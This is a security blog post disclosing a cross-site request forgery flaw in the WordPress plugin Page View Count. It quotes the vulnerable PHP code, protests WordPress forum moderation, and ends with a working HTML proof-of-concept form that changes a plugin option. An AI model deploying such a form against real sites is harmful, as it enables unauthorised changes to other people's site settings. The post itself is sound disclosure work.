WordPress Plugin Targeted by Hacker Currently Contains Settings Change Vulnerability
Last week we had what looked to be a hacker probing for usage of the WordPress plugin Page View Count, which has 20,000+ installs, on our website. While there is a vulnerability that was recently fixed that could explain a hacker targeting the plugin, we did a quick check over the plugin. We found the plugin is lacking basic security and contains at least one vulnerability, a settings change vulnerability. We would recommend not using the plugin unless it has had a thorough security review done and all the issues found addressed.
When the plugin is active, an instance of the class Admin_UI in the file /admin/admin-ui.php is initialized. That causes the __construct() function in the class to be run, which in turn causes the function update_google_map_api_key() in the file to be run:
79 80 81 82 83 84 85 86 87 88 89 90 | public function __construct() { $this->google_api_key_option = A3_PVC_KEY . '_google_api_key'; $this->google_map_api_key_option = A3_PVC_KEY . '_google_map_api_key'; $this->toggle_box_open_option = A3_PVC_KEY . '_toggle_box_open'; $this->version_transient = A3_PVC_KEY . '_licinfo'; if ( defined( 'A3_PVC_G_FONTS' ) ) { $this->is_load_google_fonts = (boolean) A3_PVC_G_FONTS; } $this->support_url = 'https://wordpress.org/support/plugin/page-views-count/'; $this->update_google_map_api_key(); |
That will update various settings without doing any security checks first:
183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 | public function update_google_map_api_key() { // Enable Google Map API Key if ( isset( $_POST[ $this->google_map_api_key_option . '_enable' ] ) ) { $old_google_map_api_key_enable = get_option( $this->google_map_api_key_option . '_enable', 0 ); update_option( $this->google_map_api_key_option . '_enable', 1 ); $option_value = trim( sanitize_text_field( $_POST[ $this->google_map_api_key_option ] ) ); update_option( $this->google_map_api_key_option, $option_value ); if ( 1 != $old_google_map_api_key_enable ) { // Clear cached of google map api key status delete_transient( $this->google_map_api_key_option . '_status' ); } // Disable Google Map API Key } elseif ( isset( $_POST[ $this->google_map_api_key_option ] ) ) { $old_google_map_api_key_enable = get_option( $this->google_map_api_key_option . '_enable', 0 ); update_option( $this->google_map_api_key_option . '_enable', 0 ); $option_value = trim( sanitize_text_field( $_POST[ $this->google_map_api_key_option ] ) ); update_option( $this->google_map_api_key_option, $option_value ); if ( 0 != $old_google_map_api_key_enable ) { // Clear cached of google map api key status delete_transient( $this->google_map_api_key_option . '_status' ); } } } |
Missing somewhere before that happens is a capabilities check and nonce check to prevent cross-site request forgery (CSRF).
We couldn’t figure out where the settings being set with that are intended to be set in the admin interface of the plugin.
WordPress Causes Full Disclosure
As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)
You can notify the developer of this issue on the forum as well.
Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).
If the moderation is cleaned up, it would also allow the possibility of being able to use the forum to start discussing fixing the problems caused by the very problematic handling of security by the team running the Plugin Directory, discussions which they have for years shut down through their control of the Support Forum.
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Is It Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.
Proof of Concept
The following proof of concept will cause the WordPress option a3_page_view_count_google_map_api_key to be set to proofofconcept.
Replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]" method="POST"> <input type="hidden" name="a3_page_view_count_google_map_api_key" value="proofofconcept" /> <input type="submit" name="a3_page_view_count_google_map_api_key_enable" value="Submit" /> </form> </body>